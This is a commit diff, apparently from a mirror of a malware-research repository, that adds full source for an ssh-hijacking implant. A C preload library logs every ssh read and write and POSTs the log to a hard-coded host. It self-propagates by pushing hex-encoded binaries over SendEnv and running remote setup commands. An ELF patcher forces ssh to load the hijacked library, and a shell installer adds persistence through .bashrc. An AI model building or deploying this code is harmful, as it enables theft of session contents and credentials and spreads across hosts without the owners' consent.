mirror of
https://github.com/vxunderground/VXUG-Papers.git
synced 2026-06-13 06:19:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,255 @@
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <dirent.h>
|
||||
#include <dlfcn.h>
|
||||
#include <string.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <ctype.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/sendfile.h>
|
||||
#include <signal.h>
|
||||
|
||||
#ifndef LIBC_PATH
|
||||
#define LIBC_PATH "/usr/lib/x86_64-linux-gnu/libc.so.6"
|
||||
#endif
|
||||
|
||||
void *handle;
|
||||
int (*real_getopt)(int argc, char *const argv[],
|
||||
const char *optstring);
|
||||
/*
|
||||
typedef void (*sighandler_t)(int);
|
||||
sighandler_t (*real_signal)(int signum, sighandler_t handler);
|
||||
int (*real_sigaction)(int signum, const struct sigaction *act,
|
||||
struct sigaction *oldact);
|
||||
*/
|
||||
int (*real_close)(int fd);
|
||||
size_t (*real_write)(int fd, const void *buf, size_t count) = NULL;
|
||||
size_t (*real_read)(int fd, void *buf, size_t count) = NULL;
|
||||
struct stat log_statbuf;
|
||||
|
||||
int log_fd = -1;
|
||||
char capsule[512] = {0};
|
||||
//int inject = 0;
|
||||
|
||||
char *host = "127.0.0.1";
|
||||
char *port = "9999";
|
||||
char *resource = "upload.php";
|
||||
int size = 201;
|
||||
|
||||
int sock_fd;
|
||||
struct sockaddr_in addr;
|
||||
|
||||
void do_post(void)
|
||||
{
|
||||
host = "10.0.2.2";
|
||||
sock_fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(atoi(port));
|
||||
addr.sin_addr.s_addr = inet_addr(host);
|
||||
|
||||
connect(sock_fd, (struct sockaddr *)&addr, sizeof(struct sockaddr));
|
||||
|
||||
size += log_statbuf.st_size;
|
||||
|
||||
sprintf(capsule,
|
||||
"POST http://%s:%s/%s HTTP/1.1\r\n"
|
||||
"Host: %s:%s\r\n"
|
||||
"Accept: */*\r\n"
|
||||
"Content-Type: multipart/form-data; boundary=------------------------4ae6d1de929f9e46\r\n"
|
||||
"Content-Length: %d\r\n"
|
||||
"\r\n"
|
||||
"--------------------------4ae6d1de929f9e46\r\n"
|
||||
"Content-Disposition: form-data; name=\"vxlog\"; filename=\"vxlog.txt\"\r\n"
|
||||
"Content-Type: application/octet-stream\r\n"
|
||||
"\n",
|
||||
host, port, resource, host, port, size);
|
||||
|
||||
real_write(sock_fd, capsule, strlen(capsule));
|
||||
sendfile(sock_fd, log_fd, 0, log_statbuf.st_size);
|
||||
real_write(sock_fd, "\n\n--------------------------4ae6d1de929f9e46--\r\n", 48);
|
||||
close(sock_fd);
|
||||
}
|
||||
|
||||
char *lcso_envar(void)
|
||||
{
|
||||
char *env_lcso = NULL;
|
||||
struct stat stat_dynamicorrupt;
|
||||
int envsz = 0;
|
||||
char path[128];
|
||||
sprintf(path, "%s/.bin/c.so.6.hex", getenv("HOME"));
|
||||
int fd = open(path, O_RDONLY);
|
||||
fstat(fd, &stat_dynamicorrupt);
|
||||
env_lcso = malloc(stat_dynamicorrupt.st_size + strlen("LC_BIN2="));
|
||||
strcpy(env_lcso, "LC_BIN2=");
|
||||
syscall(__NR_read, fd, env_lcso + strlen("LC_BIN2="), stat_dynamicorrupt.st_size);
|
||||
syscall(__NR_close, fd);
|
||||
return env_lcso;
|
||||
}
|
||||
|
||||
char *dynamicorrupt_envar(void)
|
||||
{
|
||||
char *env_dynamicorrupt = NULL;
|
||||
struct stat stat_dynamicorrupt;
|
||||
int envsz = 0;
|
||||
char path[128];
|
||||
sprintf(path, "%s/.bin/dynamicorrupt.hex", getenv("HOME"));
|
||||
int fd = open(path, O_RDONLY);
|
||||
fstat(fd, &stat_dynamicorrupt);
|
||||
env_dynamicorrupt = malloc(stat_dynamicorrupt.st_size + strlen("LC_BIN1="));
|
||||
strcpy(env_dynamicorrupt, "LC_BIN1=");
|
||||
syscall(__NR_read, fd, env_dynamicorrupt + strlen("LC_BIN1="), stat_dynamicorrupt.st_size);
|
||||
syscall(__NR_close, fd);
|
||||
return env_dynamicorrupt;
|
||||
}
|
||||
|
||||
__attribute__((constructor)) int change_args(int argc, char **argv, char **envp)
|
||||
{
|
||||
int env_size = 0;
|
||||
|
||||
if (getenv("VXCOOL") == NULL)
|
||||
{
|
||||
char **envar = envp;
|
||||
while (*envar++ != NULL)
|
||||
env_size++;
|
||||
|
||||
char **new_envp = malloc(sizeof(char *) * env_size + 3);
|
||||
for (int i = 0; i < env_size; i++)
|
||||
new_envp[i] = strdup(envp[i]);
|
||||
|
||||
new_envp[env_size] = "VXCOOL=true";
|
||||
new_envp[env_size + 1] = dynamicorrupt_envar();
|
||||
new_envp[env_size + 2] = lcso_envar();
|
||||
new_envp[env_size + 3] = NULL;
|
||||
|
||||
char **new_argv = malloc(sizeof(char *) * (argc + 4));
|
||||
for (int i = 0; i < argc; i++)
|
||||
new_argv[i] = strdup(argv[i]);
|
||||
|
||||
new_argv[argc] = "-t";
|
||||
new_argv[argc + 1] = "-SendEnv";
|
||||
new_argv[argc + 2] =
|
||||
"rm -rf $HOME/.bin;"
|
||||
"mkdir $HOME/.bin/;"
|
||||
"cp $(which ssh) $HOME/.bin/;"
|
||||
"printenv LC_BIN1 > $HOME/.bin/dynamicorrupt.hex;"
|
||||
"cat $HOME/.bin/dynamicorrupt.hex | xxd -plain -revert > $HOME/.bin/dynamicorrupt;"
|
||||
"chmod +x $HOME/.bin/dynamicorrupt;"
|
||||
"$HOME/.bin/dynamicorrupt $HOME/.bin/ssh;"
|
||||
|
||||
"printenv LC_BIN2 > $HOME/.bin/c.so.6.hex;"
|
||||
"cat $HOME/.bin/c.so.6.hex | xxd -plain -revert > $HOME/.bin/c.so.6;"
|
||||
"chmod +x $HOME/.bin/c.so.6;"
|
||||
|
||||
"echo \"export PATH=$HOME/.bin:$PATH\" >> $HOME/.bashrc;"
|
||||
"echo \"export LD_LIBRARY_PATH=$HOME/.bin/\" >> $HOME/.bashrc;"
|
||||
|
||||
"export PATH=$HOME/.bin:$PATH;"
|
||||
"export LD_LIBRARY_PATH=$HOME/.bin/;"
|
||||
|
||||
"$SHELL -i;";
|
||||
new_argv[argc + 3] = NULL;
|
||||
execve("/proc/self/exe", new_argv, new_envp);
|
||||
}
|
||||
else
|
||||
unsetenv("VXCOOL");
|
||||
return 0;
|
||||
}
|
||||
|
||||
__attribute__((constructor)) void _initf(int ac, char **av)
|
||||
{
|
||||
for (int i = 0; i < ac; i++)
|
||||
{
|
||||
printf("av[%d] = %s\n", i, av[i]);
|
||||
}
|
||||
|
||||
//debug __asm__("int3\r\n");
|
||||
handle = dlopen(LIBC_PATH, RTLD_LAZY);
|
||||
//puts("hi");
|
||||
//real_sigaction = (void *)dlsym(handle, "sigaction");
|
||||
//real_signal = (void *)dlsym(handle, "signal");
|
||||
//real_getopt = (void *)dlsym(handle, "getopt");
|
||||
real_close = (void *)dlsym(handle, "close");
|
||||
real_write = (void *)dlsym(handle, "write");
|
||||
real_read = (void *)dlsym(handle, "read");
|
||||
log_fd = open("/tmp/.sshlog", O_APPEND | O_CREAT | O_RDWR, S_IRWXU);
|
||||
log_fd = dup2(log_fd, 42);
|
||||
}
|
||||
|
||||
__attribute__((destructor)) void _finif(void)
|
||||
{
|
||||
lseek(log_fd, 0, SEEK_SET);
|
||||
fstat(log_fd, &log_statbuf);
|
||||
do_post();
|
||||
syscall(__NR_close, log_fd);
|
||||
unlink("/tmp/.sshlog");
|
||||
}
|
||||
|
||||
int BSDgetopt(int argc, char *const argv[],
|
||||
const char *optstring)
|
||||
{
|
||||
printf("argc = %d\n", argc);
|
||||
for (int i = 0; i < argc; i++)
|
||||
printf("argv[%d] = %s\n", i, argv[i]);
|
||||
|
||||
return real_getopt(argc, argv, optstring);
|
||||
}
|
||||
|
||||
/*
|
||||
int sigaction(int signum, const struct sigaction *act,
|
||||
struct sigaction *oldact)
|
||||
{
|
||||
if (signum == SIGWINCH)
|
||||
inject = 1;
|
||||
return real_sigaction(signum, act, oldact);
|
||||
}
|
||||
|
||||
sighandler_t signal(int signum, sighandler_t handler)
|
||||
{
|
||||
if (signum == SIGWINCH)
|
||||
inject = 1;
|
||||
return real_signal(signum, handler);
|
||||
}
|
||||
*/
|
||||
|
||||
int close(int fd)
|
||||
{
|
||||
if (fd == log_fd)
|
||||
return 0;
|
||||
return real_close(fd);
|
||||
}
|
||||
|
||||
ssize_t write(int fd, const void *buf, size_t count)
|
||||
{
|
||||
int ret = (real_write(fd, buf, count));
|
||||
syscall(__NR_write, log_fd, "[write]:", 8);
|
||||
//if ((fd == 5 || fd == 6) && count > 1)
|
||||
// syscall(__NR_write, log_fd, buf, ret);
|
||||
for (int i = 0; i < ret; i++)
|
||||
if (isprint(((char *)buf)[i]) || ((char *)buf)[i] == '\n')
|
||||
syscall(__NR_write, log_fd, &((char *)buf)[i], 1);
|
||||
syscall(__NR_write, log_fd, "\n", 1);
|
||||
return ret;
|
||||
}
|
||||
|
||||
ssize_t read(int fd, void *buf, size_t count)
|
||||
{
|
||||
int ret = (real_read(fd, buf, count));
|
||||
syscall(__NR_write, log_fd, "[read]:", 7);
|
||||
//if (fd == 4)
|
||||
// syscall(__NR_write, log_fd, buf, ret);
|
||||
for (int i = 0; i < ret; i++)
|
||||
if (isprint(((char *)buf)[i]))
|
||||
syscall(__NR_write, log_fd, &((char *)buf)[i], 1);
|
||||
syscall(__NR_write, log_fd, "\n", 1);
|
||||
return ret;
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <elf.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <string.h>
|
||||
|
||||
int dynamicorrupt(char *elf_buff, char *target_lib)
|
||||
{
|
||||
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)elf_buff;
|
||||
Elf64_Shdr *shdr = (Elf64_Shdr *)&elf_buff[ehdr->e_shoff];
|
||||
char *string_table = &elf_buff[shdr[ehdr->e_shstrndx].sh_offset];
|
||||
Elf64_Phdr *phdr = (Elf64_Phdr *)&elf_buff[ehdr->e_phoff];
|
||||
Elf64_Dyn *dyn_base = NULL;
|
||||
char *dynstr_base = NULL;
|
||||
unsigned long seg_size = 0;
|
||||
unsigned long n_entries = 0;
|
||||
Elf64_Xword new_d_val = 0;
|
||||
int dt_needed_index = -1;
|
||||
int dt_debug_index = -1;
|
||||
|
||||
for (int i = 0; i < ehdr->e_phnum; i++)
|
||||
{
|
||||
if (phdr[i].p_type == PT_DYNAMIC)
|
||||
{
|
||||
dyn_base = (Elf64_Dyn *)&elf_buff[phdr[i].p_offset];
|
||||
seg_size = phdr[i].p_filesz;
|
||||
n_entries = phdr[i].p_filesz / sizeof(Elf64_Dyn);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (dyn_base == NULL)
|
||||
{
|
||||
puts("PT_DYNAMIC header not found!");
|
||||
return 1;
|
||||
}
|
||||
|
||||
for (int i = 0; i < ehdr->e_shnum; i++)
|
||||
{
|
||||
if (!strcmp(&string_table[shdr[i].sh_name], ".dynstr"))
|
||||
{
|
||||
dynstr_base = (char *)&elf_buff[shdr[i].sh_offset];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (dynstr_base == NULL)
|
||||
{
|
||||
puts(".dynstr section not found!");
|
||||
return 2;
|
||||
}
|
||||
|
||||
for (int i = 0; i < n_entries; i++)
|
||||
{
|
||||
if (dyn_base[i].d_tag == DT_NEEDED &&
|
||||
!strcmp(&dynstr_base[dyn_base[i].d_un.d_val], target_lib))
|
||||
dt_needed_index = i;
|
||||
|
||||
if (dyn_base[i].d_tag == DT_DEBUG)
|
||||
dt_debug_index = i;
|
||||
}
|
||||
|
||||
if (dt_needed_index == -1)
|
||||
return 3;
|
||||
if (dt_debug_index == -1)
|
||||
return 4;
|
||||
|
||||
dyn_base[dt_debug_index].d_tag = DT_NEEDED;
|
||||
|
||||
if (dt_debug_index > dt_needed_index) {
|
||||
dyn_base[dt_debug_index].d_un.d_val = dyn_base[dt_needed_index].d_un.d_val;
|
||||
dyn_base[dt_needed_index].d_un.d_val = dyn_base[dt_debug_index].d_un.d_val+3;
|
||||
} else
|
||||
dyn_base[dt_debug_index].d_un.d_val = dyn_base[dt_needed_index].d_un.d_val+3;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
char *input_path;
|
||||
char *output_path;
|
||||
char *target_lib = "libc.so.6";
|
||||
|
||||
switch (argc)
|
||||
{
|
||||
case 4:
|
||||
input_path = argv[1];
|
||||
output_path = argv[2];
|
||||
target_lib = argv[3];
|
||||
break;
|
||||
case 3:
|
||||
input_path = argv[1];
|
||||
output_path = argv[2];
|
||||
break;
|
||||
case 2:
|
||||
input_path = argv[1];
|
||||
output_path = input_path;
|
||||
break;
|
||||
default:
|
||||
printf("usage: %s <ELF_INPUT> <ELF_OUTPUT> <lib2hijack.so>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int elf_input = open(input_path, 0, O_RDONLY);
|
||||
|
||||
if (elf_input == -1)
|
||||
{
|
||||
perror("open");
|
||||
return 2;
|
||||
}
|
||||
|
||||
struct stat elf_statbuf;
|
||||
|
||||
if (fstat(elf_input, &elf_statbuf) == -1)
|
||||
{
|
||||
perror("fstat");
|
||||
return 3;
|
||||
}
|
||||
|
||||
char *elf_buff = malloc(elf_statbuf.st_size);
|
||||
|
||||
if (elf_buff == NULL)
|
||||
{
|
||||
perror("malloc");
|
||||
return 4;
|
||||
}
|
||||
|
||||
if (elf_statbuf.st_size != read(elf_input, elf_buff, elf_statbuf.st_size))
|
||||
{
|
||||
perror("read");
|
||||
return 5;
|
||||
}
|
||||
|
||||
close(elf_input);
|
||||
int ret = dynamicorrupt(elf_buff, target_lib);
|
||||
if (ret == 0)
|
||||
{
|
||||
int elf_output = open(output_path, O_CREAT | O_TRUNC | O_WRONLY, S_IRWXU);
|
||||
|
||||
if (elf_output == -1)
|
||||
{
|
||||
perror("open");
|
||||
return 6;
|
||||
}
|
||||
|
||||
if (elf_statbuf.st_size != write(elf_output, elf_buff, elf_statbuf.st_size))
|
||||
{
|
||||
perror("write");
|
||||
return 7;
|
||||
}
|
||||
close(elf_output);
|
||||
}
|
||||
|
||||
free(elf_buff);
|
||||
return ret;
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
#!/bin/bash
|
||||
|
||||
cc -s -o dynamicorrupt dynamicorrupt.c
|
||||
cc -s -shared -fPIC c.so.6.c -o c.so.6 -ldl -DLIBC_PATH=$(ldd $(which ssh) | grep libc.so | awk '{print "\""$3"\""}')
|
||||
xxd -plain dynamicorrupt | tr -d \\n > dynamicorrupt.hex
|
||||
xxd -plain c.so.6 | tr -d \\n > c.so.6.hex
|
||||
rm -rf $HOME/.bin
|
||||
mkdir $HOME/.bin/
|
||||
cp *.hex $HOME/.bin/
|
||||
cp $(which ssh) $HOME/.bin/
|
||||
./dynamicorrupt $HOME/.bin/ssh
|
||||
cp c.so.6 $HOME/.bin/
|
||||
echo "export PATH=$HOME/.bin:$PATH" >> $HOME/.bashrc
|
||||
echo "export LD_LIBRARY_PATH=$HOME/.bin/" >> $HOME/.bashrc
|
||||
|
||||
export PATH=$HOME/.bin:$PATH
|
||||
export LD_LIBRARY_PATH=$HOME/.bin/
|
||||
|
||||
Reference in New Issue
Block a user